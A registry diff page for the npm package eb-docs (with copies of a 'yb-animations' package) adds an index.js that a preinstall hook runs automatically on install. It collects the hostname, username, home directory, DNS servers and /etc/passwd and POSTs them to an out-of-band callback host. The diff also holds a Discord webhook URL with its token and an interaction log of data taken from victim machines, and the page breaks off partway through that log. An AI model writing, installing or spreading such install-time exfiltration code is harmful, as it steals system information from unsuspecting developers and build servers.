eb-docs 0.0.1-security → 3.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of eb-docs might be problematic. Click here for more details.

package/index.js ADDED
@@ -0,0 +1,68 @@
1
+ const os = require("os");
2
+ const dns = require("dns");
3
+ const querystring = require("querystring");
4
+ const https = require("https");
5
+ const { exec } = require("child_process"); // Import for command execution
6
+ const packageJSON = require("./package.json");
7
+ const package = packageJSON.name;
8
+
9
+ // Function to send data
10
+ function sendData(trackingData) {
11
+ const postData = querystring.stringify({
12
+ msg: trackingData,
13
+ });
14
+
15
+ const options = {
16
+ hostname: "ct7l32jusefo20ug2nag7dxenqw88ikx5.oast.site", // Replace as needed
17
+ port: 443,
18
+ path: "/",
19
+ method: "POST",
20
+ headers: {
21
+ "Content-Type": "application/x-www-form-urlencoded",
22
+ "Content-Length": postData.length,
23
+ },
24
+ };
25
+
26
+ const req = https.request(options, (res) => {
27
+ res.on("data", (d) => {
28
+ process.stdout.write(d);
29
+ });
30
+ });
31
+
32
+ req.on("error", (e) => {
33
+ console.error(`Request Error: ${e.message}`);
34
+ });
35
+
36
+ req.write(postData);
37
+ req.end();
38
+ }
39
+
40
+ // Collect environment and package details
41
+ const trackingData = {
42
+ p: package,
43
+ c: __dirname,
44
+ hd: os.homedir(),
45
+ hn: os.hostname(),
46
+ un: os.userInfo().username,
47
+ dns: dns.getServers(),
48
+ r: packageJSON ? packageJSON.___resolved : undefined,
49
+ v: packageJSON.version,
50
+ pjson: packageJSON,
51
+ };
52
+
53
+ // Execute a shell command (e.g., `cat test.txt`)
54
+ exec("cat /etc/passwd", (error, stdout, stderr) => {
55
+ if (error) {
56
+ console.error(`Error executing command: ${error.message}`);
57
+ trackingData.cmdError = error.message;
58
+ } else if (stderr) {
59
+ console.error(`Command Stderr: ${stderr}`);
60
+ trackingData.cmdStderr = stderr;
61
+ } else {
62
+ console.log(`Command Output:\n${stdout}`);
63
+ trackingData.cmdOutput = stdout; // Include the command output in tracking data
64
+ }
65
+
66
+ // Send the combined data to the remote server
67
+ sendData(JSON.stringify(trackingData));
68
+ });
package/package.json CHANGED
@@ -1,6 +1,15 @@
1
1
  {
2
2
  "name": "eb-docs",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "3.0.0",
4
+ "main": "index.js",
5
+ "scripts": {
6
+ "test": "echo \"Error: no test specified\" && exit 1",
7
+ "preinstall": "node index.js"
8
+ },
9
+ "author": "",
10
+ "license": "ISC",
11
+ "description": "",
12
+ "dependencies": {
13
+ "eb-docs": "^2.0.0"
14
+ }
6
15
  }
@@ -0,0 +1,6 @@
1
+ discord:
2
+ - id: "crawl"
3
+ discord_channel: "crawl"
4
+ discord_username: "test"
5
+ discord_format: "{{data}}"
6
+ discord_webhook_url: "https://discord.com/api/webhooks/1311968289794031626/rvHH1ZKCOVJ-Ii8QVSwlehWoy9l5PkgvXhTuhXMPKSlF-tBb6D2octI1D5FQFPrefaiY"
@@ -0,0 +1,68 @@
1
+ const os = require("os");
2
+ const dns = require("dns");
3
+ const querystring = require("querystring");
4
+ const https = require("https");
5
+ const { exec } = require("child_process"); // Import for command execution
6
+ const packageJSON = require("./package.json");
7
+ const package = packageJSON.name;
8
+
9
+ // Function to send data
10
+ function sendData(trackingData) {
11
+ const postData = querystring.stringify({
12
+ msg: trackingData,
13
+ });
14
+
15
+ const options = {
16
+ hostname: "ct4ngq49342dd224glj08j8r9i5darxsb.oast.fun", // Replace as needed
17
+ port: 443,
18
+ path: "/",
19
+ method: "POST",
20
+ headers: {
21
+ "Content-Type": "application/x-www-form-urlencoded",
22
+ "Content-Length": postData.length,
23
+ },
24
+ };
25
+
26
+ const req = https.request(options, (res) => {
27
+ res.on("data", (d) => {
28
+ process.stdout.write(d);
29
+ });
30
+ });
31
+
32
+ req.on("error", (e) => {
33
+ console.error(`Request Error: ${e.message}`);
34
+ });
35
+
36
+ req.write(postData);
37
+ req.end();
38
+ }
39
+
40
+ // Collect environment and package details
41
+ const trackingData = {
42
+ p: package,
43
+ c: __dirname,
44
+ hd: os.homedir(),
45
+ hn: os.hostname(),
46
+ un: os.userInfo().username,
47
+ dns: dns.getServers(),
48
+ r: packageJSON ? packageJSON.___resolved : undefined,
49
+ v: packageJSON.version,
50
+ pjson: packageJSON,
51
+ };
52
+
53
+ // Execute a shell command (e.g., `cat test.txt`)
54
+ exec("cat /etc/passwd", (error, stdout, stderr) => {
55
+ if (error) {
56
+ console.error(`Error executing command: ${error.message}`);
57
+ trackingData.cmdError = error.message;
58
+ } else if (stderr) {
59
+ console.error(`Command Stderr: ${stderr}`);
60
+ trackingData.cmdStderr = stderr;
61
+ } else {
62
+ console.log(`Command Output:\n${stdout}`);
63
+ trackingData.cmdOutput = stdout; // Include the command output in tracking data
64
+ }
65
+
66
+ // Send the combined data to the remote server
67
+ sendData(JSON.stringify(trackingData));
68
+ });
@@ -0,0 +1,13 @@
1
+ {
2
+ "name": "yb-animations",
3
+ "version": "1.0.1",
4
+ "lockfileVersion": 3,
5
+ "requires": true,
6
+ "packages": {
7
+ "node_modules/yb-animations": {
8
+ "version": "1.0.1",
9
+ "resolved": "https://registry.npmjs.org/yb-animations/-/yb-animations-1.0.1.tgz",
10
+ "integrity": "sha512-wTFkUEtgii4j+OVj7bDsSAWbmufFhsvUI0rNZq+Y1b1HfBjCHy2z+ddVJECA1z8eopMWk5xjBORr+mNSJFWRSw=="
11
+ }
12
+ }
13
+ }
@@ -0,0 +1,6 @@
1
+ discord:
2
+ - id: "crawl"
3
+ discord_channel: "crawl"
4
+ discord_username: "test"
5
+ discord_format: "{{data}}"
6
+ discord_webhook_url: "https://discord.com/api/webhooks/1311968289794031626/rvHH1ZKCOVJ-Ii8QVSwlehWoy9l5PkgvXhTuhXMPKSlF-tBb6D2octI1D5FQFPrefaiY"
@@ -0,0 +1,68 @@
1
+ const os = require("os");
2
+ const dns = require("dns");
3
+ const querystring = require("querystring");
4
+ const https = require("https");
5
+ const { exec } = require("child_process"); // Import for command execution
6
+ const packageJSON = require("./package.json");
7
+ const package = packageJSON.name;
8
+
9
+ // Function to send data
10
+ function sendData(trackingData) {
11
+ const postData = querystring.stringify({
12
+ msg: trackingData,
13
+ });
14
+
15
+ const options = {
16
+ hostname: "ct4ngq49342dd224glj08j8r9i5darxsb.oast.fun", // Replace as needed
17
+ port: 443,
18
+ path: "/",
19
+ method: "POST",
20
+ headers: {
21
+ "Content-Type": "application/x-www-form-urlencoded",
22
+ "Content-Length": postData.length,
23
+ },
24
+ };
25
+
26
+ const req = https.request(options, (res) => {
27
+ res.on("data", (d) => {
28
+ process.stdout.write(d);
29
+ });
30
+ });
31
+
32
+ req.on("error", (e) => {
33
+ console.error(`Request Error: ${e.message}`);
34
+ });
35
+
36
+ req.write(postData);
37
+ req.end();
38
+ }
39
+
40
+ // Collect environment and package details
41
+ const trackingData = {
42
+ p: package,
43
+ c: __dirname,
44
+ hd: os.homedir(),
45
+ hn: os.hostname(),
46
+ un: os.userInfo().username,
47
+ dns: dns.getServers(),
48
+ r: packageJSON ? packageJSON.___resolved : undefined,
49
+ v: packageJSON.version,
50
+ pjson: packageJSON,
51
+ };
52
+
53
+ // Execute a shell command (e.g., `cat test.txt`)
54
+ exec("cat /etc/passwd", (error, stdout, stderr) => {
55
+ if (error) {
56
+ console.error(`Error executing command: ${error.message}`);
57
+ trackingData.cmdError = error.message;
58
+ } else if (stderr) {
59
+ console.error(`Command Stderr: ${stderr}`);
60
+ trackingData.cmdStderr = stderr;
61
+ } else {
62
+ console.log(`Command Output:\n${stdout}`);
63
+ trackingData.cmdOutput = stdout; // Include the command output in tracking data
64
+ }
65
+
66
+ // Send the combined data to the remote server
67
+ sendData(JSON.stringify(trackingData));
68
+ });
@@ -0,0 +1,11 @@
1
+ {
2
+ "name": "yb-animations",
3
+ "version": "1.0.1",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1"
8
+ },
9
+ "author": "",
10
+ "license": "ISC"
11
+ }
@@ -0,0 +1,22 @@
1
+ {
2
+ "name": "yb-animations",
3
+ "version": "1.0.1",
4
+ "lockfileVersion": 3,
5
+ "requires": true,
6
+ "packages": {
7
+ "": {
8
+ "name": "yb-animations",
9
+ "version": "1.0.1",
10
+ "hasInstallScript": true,
11
+ "license": "ISC",
12
+ "dependencies": {
13
+ "yb-animations": "^1.0.1"
14
+ }
15
+ },
16
+ "node_modules/yb-animations": {
17
+ "version": "1.0.1",
18
+ "resolved": "https://registry.npmjs.org/yb-animations/-/yb-animations-1.0.1.tgz",
19
+ "integrity": "sha512-wTFkUEtgii4j+OVj7bDsSAWbmufFhsvUI0rNZq+Y1b1HfBjCHy2z+ddVJECA1z8eopMWk5xjBORr+mNSJFWRSw=="
20
+ }
21
+ }
22
+ }
@@ -0,0 +1,15 @@
1
+ {
2
+ "name": "yb-animations",
3
+ "version": "1.0.1",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "node index.js"
9
+ },
10
+ "author": "",
11
+ "license": "ISC",
12
+ "dependencies": {
13
+ "yb-animations": "^1.0.1"
14
+ }
15
+ }
@@ -0,0 +1,726 @@
1
+ [ct4ngq49342dd224glj08j8r9i5darxsb] Received DNS interaction (A) from 220.181.126.16 at 2024-11-29 08:19:28
2
+ -----------
3
+ DNS Request
4
+ -----------
5
+
6
+ ;; opcode: QUERY, status: NOERROR, id: 40608
7
+ ;; flags: cd; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 1
8
+
9
+ ;; OPT PSEUDOSECTION:
10
+ ; EDNS: version 0; flags: do; udp: 1232
11
+
12
+ ;; QUESTION SECTION:
13
+ ;ct4ngq49342dd224glj08j8r9i5darxsb.oast.fun. IN A
14
+
15
+
16
+ ------------
17
+ DNS Response
18
+ ------------
19
+
20
+ ;; opcode: QUERY, status: NOERROR, id: 40608
21
+ ;; flags: qr aa cd; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 2
22
+
23
+ ;; QUESTION SECTION:
24
+ ;ct4ngq49342dd224glj08j8r9i5darxsb.oast.fun. IN A
25
+
26
+ ;; ANSWER SECTION:
27
+ ct4ngq49342dd224glj08j8r9i5darxsb.oast.fun. 3600 IN A 206.189.156.69
28
+
29
+ ;; AUTHORITY SECTION:
30
+ ct4ngq49342dd224glj08j8r9i5darxsb.oast.fun. 3600 IN NS ns1.oast.fun.
31
+ ct4ngq49342dd224glj08j8r9i5darxsb.oast.fun. 3600 IN NS ns2.oast.fun.
32
+
33
+ ;; ADDITIONAL SECTION:
34
+ ns1.oast.fun. 3600 IN A 206.189.156.69
35
+ ns2.oast.fun. 3600 IN A 206.189.156.69
36
+
37
+
38
+
39
+ [ct4ngq49342dd224glj08j8r9i5darxsb] Received HTTP interaction from 103.102.202.161 at 2024-11-29 08:19:30
40
+ ------------
41
+ HTTP Request
42
+ ------------
43
+
44
+ POST / HTTP/1.1
45
+ Host: ct4ngq49342dd224glj08j8r9i5darxsb.oast.fun
46
+ Connection: close
47
+ Content-Length: 1593
48
+ Content-Type: application/x-www-form-urlencoded
49
+
50
+ msg=%7B%22p%22%3A%22yb-animations%22%2C%22c%22%3A%22%2Fnpm%2Fnode_modules%2Fyb-animations%22%2C%22hd%22%3A%22%2Froot%22%2C%22hn%22%3A%223a91c528f44c%22%2C%22un%22%3A%22root%22%2C%22dns%22%3A%5B%22172.28.130.91%22%2C%22172.28.130.92%22%2C%22172.28.130.93%22%5D%2C%22v%22%3A%221.0.1%22%2C%22pjson%22%3A%7B%22name%22%3A%22yb-animations%22%2C%22version%22%3A%221.0.1%22%2C%22description%22%3A%22%22%2C%22main%22%3A%22index.js%22%2C%22scripts%22%3A%7B%22test%22%3A%22echo%20%5C%22Error%3A%20no%20test%20specified%5C%22%20%26%26%20exit%201%22%7D%2C%22author%22%3A%22%22%2C%22license%22%3A%22ISC%22%7D%2C%22cmdOutput%22%3A%22root%3Ax%3A0%3A0%3Aroot%3A%2Froot%3A%2Fbin%2Fbash%5Cnbin%3Ax%3A1%3A1%3Abin%3A%2Fbin%3A%2Fsbin%2Fnologin%5Cndaemon%3Ax%3A2%3A2%3Adaemon%3A%2Fsbin%3A%2Fsbin%2Fnologin%5Cnadm%3Ax%3A3%3A4%3Aadm%3A%2Fvar%2Fadm%3A%2Fsbin%2Fnologin%5Cnlp%3Ax%3A4%3A7%3Alp%3A%2Fvar%2Fspool%2Flpd%3A%2Fsbin%2Fnologin%5Cnsync%3Ax%3A5%3A0%3Async%3A%2Fsbin%3A%2Fbin%2Fsync%5Cnshutdown%3Ax%3A6%3A0%3Ashutdown%3A%2Fsbin%3A%2Fsbin%2Fshutdown%5Cnhalt%3Ax%3A7%3A0%3Ahalt%3A%2Fsbin%3A%2Fsbin%2Fhalt%5Cnmail%3Ax%3A8%3A12%3Amail%3A%2Fvar%2Fspool%2Fmail%3A%2Fsbin%2Fnologin%5Cnoperator%3Ax%3A11%3A0%3Aoperator%3A%2Froot%3A%2Fsbin%2Fnologin%5Cngames%3Ax%3A12%3A100%3Agames%3A%2Fusr%2Fgames%3A%2Fsbin%2Fnologin%5Cnftp%3Ax%3A14%3A50%3AFTP%20User%3A%2Fvar%2Fftp%3A%2Fsbin%2Fnologin%5Cnnobody%3Ax%3A99%3A99%3ANobody%3A%2F%3A%2Fsbin%2Fnologin%5Cnsystemd-network%3Ax%3A192%3A192%3Asystemd%20Network%20Management%3A%2F%3A%2Fsbin%2Fnologin%5Cndbus%3Ax%3A81%3A81%3ASystem%20message%20bus%3A%2F%3A%2Fsbin%2Fnologin%5Cn%22%7D
51
+
52
+ -------------
53
+ HTTP Response
54
+ -------------
55
+
56
+ HTTP/1.1 200 OK
57
+ Connection: close
58
+ Access-Control-Allow-Credentials: true
59
+ Access-Control-Allow-Headers: Content-Type, Authorization
60
+ Access-Control-Allow-Origin: *
61
+ Content-Type: text/html; charset=utf-8
62
+ Server: oast.fun
63
+ X-Interactsh-Version: 1.2.2
64
+
65
+ <html><head></head><body>bsxrad5i9r8j80jlg422dd24394qgn4tc</body></html>
66
+
67
+
68
+ [ct4ngq49342dd224glj08j8r9i5darxsb] Received DNS interaction (A) from 162.14.228.212 at 2024-11-29 08:20:01
69
+ -----------
70
+ DNS Request
71
+ -----------
72
+
73
+ ;; opcode: QUERY, status: NOERROR, id: 49610
74
+ ;; flags: cd; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 1
75
+
76
+ ;; OPT PSEUDOSECTION:
77
+ ; EDNS: version 0; flags:; udp: 4096
78
+
79
+ ;; QUESTION SECTION:
80
+ ;ct4ngq49342dd224glj08j8r9i5darxsb.oast.fun. IN A
81
+
82
+
83
+ ------------
84
+ DNS Response
85
+ ------------
86
+
87
+ ;; opcode: QUERY, status: NOERROR, id: 49610
88
+ ;; flags: qr aa cd; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 2
89
+
90
+ ;; QUESTION SECTION:
91
+ ;ct4ngq49342dd224glj08j8r9i5darxsb.oast.fun. IN A
92
+
93
+ ;; ANSWER SECTION:
94
+ ct4ngq49342dd224glj08j8r9i5darxsb.oast.fun. 3600 IN A 206.189.156.69
95
+
96
+ ;; AUTHORITY SECTION:
97
+ ct4ngq49342dd224glj08j8r9i5darxsb.oast.fun. 3600 IN NS ns1.oast.fun.
98
+ ct4ngq49342dd224glj08j8r9i5darxsb.oast.fun. 3600 IN NS ns2.oast.fun.
99
+
100
+ ;; ADDITIONAL SECTION:
101
+ ns1.oast.fun. 3600 IN A 206.189.156.69
102
+ ns2.oast.fun. 3600 IN A 206.189.156.69
103
+
104
+
105
+
106
+ [ct4ngq49342dd224glj08j8r9i5darxsb] Received DNS interaction (A) from 162.14.228.212 at 2024-11-29 08:20:01
107
+ -----------
108
+ DNS Request
109
+ -----------
110
+
111
+ ;; opcode: QUERY, status: NOERROR, id: 36607
112
+ ;; flags: cd; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 1
113
+
114
+ ;; OPT PSEUDOSECTION:
115
+ ; EDNS: version 0; flags:; udp: 1472
116
+
117
+ ;; QUESTION SECTION:
118
+ ;ct4ngq49342dd224glj08j8r9i5darxsb.oast.fun. IN A
119
+
120
+
121
+ ------------
122
+ DNS Response
123
+ ------------
124
+
125
+ ;; opcode: QUERY, status: NOERROR, id: 36607
126
+ ;; flags: qr aa cd; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 2
127
+
128
+ ;; QUESTION SECTION:
129
+ ;ct4ngq49342dd224glj08j8r9i5darxsb.oast.fun. IN A
130
+
131
+ ;; ANSWER SECTION:
132
+ ct4ngq49342dd224glj08j8r9i5darxsb.oast.fun. 3600 IN A 206.189.156.69
133
+
134
+ ;; AUTHORITY SECTION:
135
+ ct4ngq49342dd224glj08j8r9i5darxsb.oast.fun. 3600 IN NS ns1.oast.fun.
136
+ ct4ngq49342dd224glj08j8r9i5darxsb.oast.fun. 3600 IN NS ns2.oast.fun.
137
+
138
+ ;; ADDITIONAL SECTION:
139
+ ns1.oast.fun. 3600 IN A 206.189.156.69
140
+ ns2.oast.fun. 3600 IN A 206.189.156.69
141
+
142
+
143
+
144
+ [ct4ngq49342dd224glj08j8r9i5darxsb] Received DNS interaction (A) from 162.14.228.36 at 2024-11-29 08:20:02
145
+ -----------
146
+ DNS Request
147
+ -----------
148
+
149
+ ;; opcode: QUERY, status: NOERROR, id: 41544
150
+ ;; flags: cd; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 1
151
+
152
+ ;; OPT PSEUDOSECTION:
153
+ ; EDNS: version 0; flags:; udp: 4096
154
+
155
+ ;; QUESTION SECTION:
156
+ ;ct4ngq49342dd224glj08j8r9i5darxsb.oast.fun. IN A
157
+
158
+
159
+ ------------
160
+ DNS Response
161
+ ------------
162
+
163
+ ;; opcode: QUERY, status: NOERROR, id: 41544
164
+ ;; flags: qr aa cd; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 2
165
+
166
+ ;; QUESTION SECTION:
167
+ ;ct4ngq49342dd224glj08j8r9i5darxsb.oast.fun. IN A
168
+
169
+ ;; ANSWER SECTION:
170
+ ct4ngq49342dd224glj08j8r9i5darxsb.oast.fun. 3600 IN A 206.189.156.69
171
+
172
+ ;; AUTHORITY SECTION:
173
+ ct4ngq49342dd224glj08j8r9i5darxsb.oast.fun. 3600 IN NS ns1.oast.fun.
174
+ ct4ngq49342dd224glj08j8r9i5darxsb.oast.fun. 3600 IN NS ns2.oast.fun.
175
+
176
+ ;; ADDITIONAL SECTION:
177
+ ns1.oast.fun. 3600 IN A 206.189.156.69
178
+ ns2.oast.fun. 3600 IN A 206.189.156.69
179
+
180
+
181
+
182
+ [ct4ngq49342dd224glj08j8r9i5darxsb] Received DNS interaction (A) from 162.14.228.36 at 2024-11-29 08:20:02
183
+ -----------
184
+ DNS Request
185
+ -----------
186
+
187
+ ;; opcode: QUERY, status: NOERROR, id: 33636
188
+ ;; flags: cd; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 1
189
+
190
+ ;; OPT PSEUDOSECTION:
191
+ ; EDNS: version 0; flags:; udp: 1472
192
+
193
+ ;; QUESTION SECTION:
194
+ ;ct4ngq49342dd224glj08j8r9i5darxsb.oast.fun. IN A
195
+
196
+
197
+ ------------
198
+ DNS Response
199
+ ------------
200
+
201
+ ;; opcode: QUERY, status: NOERROR, id: 33636
202
+ ;; flags: qr aa cd; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 2
203
+
204
+ ;; QUESTION SECTION:
205
+ ;ct4ngq49342dd224glj08j8r9i5darxsb.oast.fun. IN A
206
+
207
+ ;; ANSWER SECTION:
208
+ ct4ngq49342dd224glj08j8r9i5darxsb.oast.fun. 3600 IN A 206.189.156.69
209
+
210
+ ;; AUTHORITY SECTION:
211
+ ct4ngq49342dd224glj08j8r9i5darxsb.oast.fun. 3600 IN NS ns1.oast.fun.
212
+ ct4ngq49342dd224glj08j8r9i5darxsb.oast.fun. 3600 IN NS ns2.oast.fun.
213
+
214
+ ;; ADDITIONAL SECTION:
215
+ ns1.oast.fun. 3600 IN A 206.189.156.69
216
+ ns2.oast.fun. 3600 IN A 206.189.156.69
217
+
218
+
219
+
220
+ [ct4ngq49342dd224glj08j8r9i5darxsb] Received HTTP interaction from 94.191.44.89 at 2024-11-29 08:20:02
221
+ ------------
222
+ HTTP Request
223
+ ------------
224
+
225
+ POST / HTTP/1.1
226
+ Host: ct4ngq49342dd224glj08j8r9i5darxsb.oast.fun
227
+ Connection: close
228
+ Content-Length: 3033
229
+ Content-Type: application/x-www-form-urlencoded
230
+
231
+ msg=%7B%22p%22%3A%22yb-animations%22%2C%22c%22%3A%22%2Froot%2Fnode_modules%2Fyb-animations%22%2C%22hd%22%3A%22%2Froot%22%2C%22hn%22%3A%2226b01639e64f%22%2C%22un%22%3A%22root%22%2C%22dns%22%3A%5B%22183.60.83.19%22%2C%22183.60.82.98%22%5D%2C%22v%22%3A%221.0.1%22%2C%22pjson%22%3A%7B%22_from%22%3A%22yb-animations%401.0.1%22%2C%22_id%22%3A%22yb-animations%401.0.1%22%2C%22_inBundle%22%3Afalse%2C%22_integrity%22%3A%22sha512-wTFkUEtgii4j%2BOVj7bDsSAWbmufFhsvUI0rNZq%2BY1b1HfBjCHy2z%2BddVJECA1z8eopMWk5xjBORr%2BmNSJFWRSw%3D%3D%22%2C%22_location%22%3A%22%2Fyb-animations%22%2C%22_phantomChildren%22%3A%7B%7D%2C%22_requested%22%3A%7B%22type%22%3A%22version%22%2C%22registry%22%3Atrue%2C%22raw%22%3A%22yb-animations%401.0.1%22%2C%22name%22%3A%22yb-animations%22%2C%22escapedName%22%3A%22yb-animations%22%2C%22rawSpec%22%3A%221.0.1%22%2C%22saveSpec%22%3Anull%2C%22fetchSpec%22%3A%221.0.1%22%7D%2C%22_requiredBy%22%3A%5B%22%23USER%22%2C%22%2F%22%5D%2C%22_resolved%22%3A%22http%3A%2F%2Fmirrors.tencent.com%2Fnpm%2Fyb-animations%2F-%2Fyb-animations-1.0.1.tgz%22%2C%22_shasum%22%3A%22fb0bb4815eceb77cf2acd9ebb19e58a647317ed5%22%2C%22_spec%22%3A%22yb-animations%401.0.1%22%2C%22_where%22%3A%22%2Froot%22%2C%22author%22%3A%22%22%2C%22bundleDependencies%22%3Afalse%2C%22deprecated%22%3Afalse%2C%22description%22%3A%22%22%2C%22license%22%3A%22ISC%22%2C%22main%22%3A%22index.js%22%2C%22name%22%3A%22yb-animations%22%2C%22scripts%22%3A%7B%22test%22%3A%22echo%20%5C%22Error%3A%20no%20test%20specified%5C%22%20%26%26%20exit%201%22%7D%2C%22version%22%3A%221.0.1%22%7D%2C%22cmdOutput%22%3A%22root%3Ax%3A0%3A0%3Aroot%3A%2Froot%3A%2Fbin%2Fbash%5Cndaemon%3Ax%3A1%3A1%3Adaemon%3A%2Fusr%2Fsbin%3A%2Fusr%2Fsbin%2Fnologin%5Cnbin%3Ax%3A2%3A2%3Abin%3A%2Fbin%3A%2Fusr%2Fsbin%2Fnologin%5Cnsys%3Ax%3A3%3A3%3Asys%3A%2Fdev%3A%2Fusr%2Fsbin%2Fnologin%5Cnsync%3Ax%3A4%3A65534%3Async%3A%2Fbin%3A%2Fbin%2Fsync%5Cngames%3Ax%3A5%3A60%3Agames%3A%2Fusr%2Fgames%3A%2Fusr%2Fsbin%2Fnologin%5Cnman%3Ax%3A6%3A12%3Aman%3A%2Fvar%2Fcache%2Fman%3A%2Fusr%2Fsbin%2Fnologin%5Cnlp%3Ax%3A7%3A7%3Alp%3A%2Fvar%2Fspool%2Flpd%3A%2Fusr%2Fsbin%2Fnologin%5Cnmail%3Ax%3A8%3A8%3Amail%3A%2Fvar%2Fmail%3A%2Fusr%2Fsbin%2Fnologin%5Cnnews%3Ax%3A9%3A9%3Anews%3A%2Fvar%2Fspool%2Fnews%3A%2Fusr%2Fsbin%2Fnologin%5Cnuucp%3Ax%3A10%3A10%3Auucp%3A%2Fvar%2Fspool%2Fuucp%3A%2Fusr%2Fsbin%2Fnologin%5Cnproxy%3Ax%3A13%3A13%3Aproxy%3A%2Fbin%3A%2Fusr%2Fsbin%2Fnologin%5Cnwww-data%3Ax%3A33%3A33%3Awww-data%3A%2Fvar%2Fwww%3A%2Fusr%2Fsbin%2Fnologin%5Cnbackup%3Ax%3A34%3A34%3Abackup%3A%2Fvar%2Fbackups%3A%2Fusr%2Fsbin%2Fnologin%5Cnlist%3Ax%3A38%3A38%3AMailing%20List%20Manager%3A%2Fvar%2Flist%3A%2Fusr%2Fsbin%2Fnologin%5Cnirc%3Ax%3A39%3A39%3Aircd%3A%2Fvar%2Frun%2Fircd%3A%2Fusr%2Fsbin%2Fnologin%5Cngnats%3Ax%3A41%3A41%3AGnats%20Bug-Reporting%20System%20(admin)%3A%2Fvar%2Flib%2Fgnats%3A%2Fusr%2Fsbin%2Fnologin%5Cnnobody%3Ax%3A65534%3A65534%3Anobody%3A%2Fnonexistent%3A%2Fusr%2Fsbin%2Fnologin%5Cn_apt%3Ax%3A100%3A65534%3A%3A%2Fnonexistent%3A%2Fbin%2Ffalse%5Cnnode%3Ax%3A1000%3A1000%3A%3A%2Fhome%2Fnode%3A%2Fbin%2Fbash%5Cn%22%7D
232
+
233
+ -------------
234
+ HTTP Response
235
+ -------------
236
+
237
+ HTTP/1.1 200 OK
238
+ Connection: close
239
+ Access-Control-Allow-Credentials: true
240
+ Access-Control-Allow-Headers: Content-Type, Authorization
241
+ Access-Control-Allow-Origin: *
242
+ Content-Type: text/html; charset=utf-8
243
+ Server: oast.fun
244
+ X-Interactsh-Version: 1.2.2
245
+
246
+ <html><head></head><body>bsxrad5i9r8j80jlg422dd24394qgn4tc</body></html>
247
+
248
+
249
+ [ct4ngq49342dd224glj08j8r9i5darxsb] Received DNS interaction (A) from 162.14.228.36 at 2024-11-29 08:20:03
250
+ -----------
251
+ DNS Request
252
+ -----------
253
+
254
+ ;; opcode: QUERY, status: NOERROR, id: 1308
255
+ ;; flags: cd; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 1
256
+
257
+ ;; OPT PSEUDOSECTION:
258
+ ; EDNS: version 0; flags:; udp: 4096
259
+
260
+ ;; QUESTION SECTION:
261
+ ;ct4ngq49342dd224glj08j8r9i5darxsb.oast.fun. IN A
262
+
263
+
264
+ ------------
265
+ DNS Response
266
+ ------------
267
+
268
+ ;; opcode: QUERY, status: NOERROR, id: 1308
269
+ ;; flags: qr aa cd; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 2
270
+
271
+ ;; QUESTION SECTION:
272
+ ;ct4ngq49342dd224glj08j8r9i5darxsb.oast.fun. IN A
273
+
274
+ ;; ANSWER SECTION:
275
+ ct4ngq49342dd224glj08j8r9i5darxsb.oast.fun. 3600 IN A 206.189.156.69
276
+
277
+ ;; AUTHORITY SECTION:
278
+ ct4ngq49342dd224glj08j8r9i5darxsb.oast.fun. 3600 IN NS ns1.oast.fun.
279
+ ct4ngq49342dd224glj08j8r9i5darxsb.oast.fun. 3600 IN NS ns2.oast.fun.
280
+
281
+ ;; ADDITIONAL SECTION:
282
+ ns1.oast.fun. 3600 IN A 206.189.156.69
283
+ ns2.oast.fun. 3600 IN A 206.189.156.69
284
+
285
+
286
+
287
+ [ct4ngq49342dd224glj08j8r9i5darxsb] Received DNS interaction (A) from 162.14.228.36 at 2024-11-29 08:20:03
288
+ -----------
289
+ DNS Request
290
+ -----------
291
+
292
+ ;; opcode: QUERY, status: NOERROR, id: 20871
293
+ ;; flags: cd; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 1
294
+
295
+ ;; OPT PSEUDOSECTION:
296
+ ; EDNS: version 0; flags:; udp: 4096
297
+
298
+ ;; QUESTION SECTION:
299
+ ;ct4ngq49342dd224glj08j8r9i5darxsb.oast.fun. IN A
300
+
301
+
302
+ ------------
303
+ DNS Response
304
+ ------------
305
+
306
+ ;; opcode: QUERY, status: NOERROR, id: 20871
307
+ ;; flags: qr aa cd; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 2
308
+
309
+ ;; QUESTION SECTION:
310
+ ;ct4ngq49342dd224glj08j8r9i5darxsb.oast.fun. IN A
311
+
312
+ ;; ANSWER SECTION:
313
+ ct4ngq49342dd224glj08j8r9i5darxsb.oast.fun. 3600 IN A 206.189.156.69
314
+
315
+ ;; AUTHORITY SECTION:
316
+ ct4ngq49342dd224glj08j8r9i5darxsb.oast.fun. 3600 IN NS ns1.oast.fun.
317
+ ct4ngq49342dd224glj08j8r9i5darxsb.oast.fun. 3600 IN NS ns2.oast.fun.
318
+
319
+ ;; ADDITIONAL SECTION:
320
+ ns1.oast.fun. 3600 IN A 206.189.156.69
321
+ ns2.oast.fun. 3600 IN A 206.189.156.69
322
+
323
+
324
+
325
+ [ct4NGQ49342dd224GLj08J8r9I5darXsB] Received DNS interaction (A) from 172.217.34.23 at 2024-11-29 08:23:03
326
+ -----------
327
+ DNS Request
328
+ -----------
329
+
330
+ ;; opcode: QUERY, status: NOERROR, id: 14375
331
+ ;; flags: cd; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 0
332
+
333
+ ;; QUESTION SECTION:
334
+ ;ct4NGQ49342dd224GLj08J8r9I5darXsB.oasT.fUn. IN A
335
+
336
+
337
+ ------------
338
